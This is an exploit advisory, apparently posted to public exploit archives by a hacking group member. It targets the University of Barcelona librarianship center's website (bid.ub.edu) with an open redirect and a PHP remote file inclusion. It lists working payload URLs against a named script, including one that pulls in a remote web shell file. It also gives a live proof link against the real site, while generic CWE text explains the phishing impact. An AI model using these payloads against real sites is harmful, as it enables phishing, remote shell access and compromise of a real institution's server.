############################################################################################ # Exploit Title : University of Barcelona Librarianship Center Spain RFI Open Redirection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 22/03/2019 # Vendor Homepage : bid.ub.edu # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Google Dorks : BiD: textos universitaris de biblioteconomia i documentació Universitat de Barcelona # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ] CWE-98 [ Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################################ # Impact : *********** * University of Barcelona Librarianship and Documentation Center in Spain - accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data. * The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. ############################################################################################ # Open Redirection and Remote File Inclusion Exploit : ************************************************ /consulta_articulos.php?url=https://www.[REDIRECTION-ADDRESS].gov /consulta_articulos.php?url=https://www.[SHELL-ADDRESS].gov/sh3ll.txt.php ############################################################################################ # Example Vulnerable Site : ************************* [+] bid.ub.edu/consulta_articulos.php?url=https://cxsecurity.com/ => [ Proof ] => archive.is/6pcgC ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################